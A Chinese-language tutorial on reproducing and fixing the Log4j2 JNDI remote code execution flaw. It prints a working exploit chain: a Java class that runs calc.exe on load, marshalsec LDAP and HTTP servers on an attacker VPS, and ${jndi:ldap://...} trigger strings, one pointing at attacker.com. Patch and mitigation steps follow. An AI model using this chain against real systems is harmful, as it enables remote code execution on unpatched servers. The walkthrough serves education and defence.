Apache Log4j2远程代码执行漏洞复现
字数 969
更新时间 2025-08-13 05:49:03
Log4j2远程代码执行漏洞复现与分析
漏洞概述
Log4j2远程代码执行漏洞(CVE-2021-44228)是2021年12月披露的一个严重安全漏洞,影响Apache Log4j2日志框架。该漏洞允许攻击者通过JNDI注入实现远程代码执行。
漏洞原理
漏洞存在于Log4j2的JNDI查找功能中,当应用程序记录包含恶意构造的字符串(如${jndi:ldap://attacker.com/Exploit})时,Log4j2会解析并执行该字符串,导致远程代码执行。
影响版本
- Log4j2.x <= 2.14.1
环境准备
受影响的Java环境
- JDK版本要求:JDK 11.0.1、8u191、7u201、6u211之前版本
- 推荐复现环境:JDK 8u191或更早版本
攻击机环境搭建
- 准备一台VPS(Linux系统)
- 安装必要工具:
apt-get install maven git clone https://github.com/mbechler/marshalsec.git
漏洞复现步骤
1. 编译marshalsec工具
cd marshalsec
mvn clean package -DskipTests
2. 准备恶意类文件
创建robots.java文件:
import java.lang.Runtime;
import java.lang.Process;
public class robots {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译为class文件:
javac robots.java
3. 启动HTTP服务
python -m SimpleHTTPServer 80
4. 启动LDAP服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#robots" 9999
(将x.x.x.x替换为你的VPS IP地址)
5. 触发漏洞
在受影响的应用中记录如下日志:
logger.error("${jndi:ldap://your-vps-ip:9999/robots}");
修复方案
-
升级Log4j2版本:
- 升级到2.15.0-rc2或更高版本
- 补丁链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-
临时缓解措施:
- 添加JVM启动参数:
-Dlog4j2.formatMsgNoLookups=true - 在classpath下添加
log4j2.component.properties文件,内容为:log4j2.formatMsgNoLookups=true
- 添加JVM启动参数:
-
升级JDK版本:
- 使用JDK 11.0.1、8u191、7u201、6u211或更高版本
技术分析参考
- 逐日实验室分析文章:https://mp.weixin.qq.com/s/1oesQz-UkpqKN3BQH9BKtw
- Fastjson漏洞复现参考:https://www.freebuf.com/articles/web/283585.html
注意事项
- 该漏洞复现仅用于安全研究和教育目的
- 在实际环境中测试前应获得明确授权
- 生产环境发现漏洞应立即修复,不要仅依赖缓解措施
相似文章
相似文章